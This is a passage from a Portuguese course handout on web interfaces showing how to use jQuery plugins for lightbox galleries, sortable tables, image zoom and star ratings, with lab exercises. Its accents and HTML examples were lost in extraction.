1. Crie um menu em rvore que tenha suas informaes oriundas de um XML

2. Crie um menu em rvore que tenha suas informaes oriundas de uma tabela de um banco

de dados6.5 Criando efeito lightBox

Um dos efeitos mais famosos do uso de Ajax o LightBox. A forma de realiz-lo que anteriormenteexigia uma gama significativa de comandos, hoje substituda por poucas linhas em jquery.

Para executar este efeito baixe:

jquery.lightbox-0.4.js

jquery.lightbox-0.4.css

Realize os includes para estes arquivos

Os links para as imagens podem ter uma formatao parecida com esta:

Para ativar o recurso basto inserir o seguinte script:

$(function() {

$('a[@rel*=lightbox]').lightBox(); // Seleciona todos os links que contemo valor lightbox no atributo rel

$('#galeria a').lightBox(); // Seleciona todos os links do objeto com oid galeria

$('a.lightbox').lightBox(); // Seleciona todos os links da classelightbox


75/100


75

$('a').lightBox(); // Seleciona todos os links da pgina

});

Laboratrio.

1. Crie uma galeria com 3 imagens e utiliza o efeito lightbox

6.6 Ordenando tabelas

O resultado de um arquivo XML ou mesmo aqueles que so retornados diretamente do bancode dados, nem sempre se apresentam na ordenao desejada pelo usurio. Por isto muitocomum criarmos ordenao de colunas atravs dos ttulos das mesmas.

A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixeo seguinte arquivo:

jquery.tablesorter.min.js

Nosso objetivo final uma tela semelhante a esta:

Vamos ento linkar os arquivos necessrios:

Inserimos o script jquery


76/100


76

$(document).ready(function()

{

$("#myTable").tablesorter( {sortList: [[0,0], [1,0]]} );

});

Por fim o cdigo HTML:

Last Name

First NameEmail

Due

Web Site

Smith

John

[email protected]

$50.00

http://www.jsmith.com

Bach

Frank

[email protected]

$50.00

http://www.frank.com


77/100


77

Doe

Jason

[email protected]

$100.00http://www.jdoe.com

Conway

Tim

[email protected]

$50.00

http://www.timconway.com

Laboratrio:

1. Crie uma tabela com possibilidade de ordenao que tenha seu dados originados de umarquivo XML.

2. Crie uma tabela com possibilidade de ordenao que tenha seu dados originados de uma

tabela de um banco de dados.

6.7 Amplinado Imagens

A ampliao de imagem tem um recurso largamente utilizado em sites de e-commerce porproporcionar ao usurio uma viso mais detalhada do produto.

A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixeo seguinte arquivo:

js/jquery.jqzoom.js



78/100


78

Vamos ento linkar os arquivos necessrios:

Inserimos o script jquery

jQuery.noConflict();

jQuery(document).ready(function(){

$("img.jqzoom").jqueryzoom({

xzoom: 200, //largura do div de zoom(o valor padro 200)

yzoom: 200, // altura do div de zoom (o valorpadro 200)

offset: 10 //intensidade do zoom (o valor padro 10)

//position: "right" //posio do div do zoom(ovalor padro rigth)

});

});

Por fim o cdigo HTML:


79/100


79

Laboratrio:

Crie uma galeria de fotos com 4 fotos que suas ampliaes sempre apaream no mesmolocal.

6.8 Criando Avaliaes

A avaliao de um atendimento, vendedor, cliente ou produto um recurso largamente utilizadoem sites de e-commerce por proporcionar ao usurio uma viso mais detalhada do item.

A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe oseguinte arquivo:

rating.js

rating.cssImages: star.gif, delete.gif

http://php.scripts.psu.edu/rja171/widgets/rating.jshttp://php.scripts.psu.edu/rja171/widgets/rating.csshttp://php.scripts.psu.edu/rja171/widgets/star.gifhttp://php.scripts.psu.edu/rja171/widgets/delete.gifhttp://php.scripts.psu.edu/rja171/widgets/delete.gifhttp:

Documents

to de Interfaces Na WEB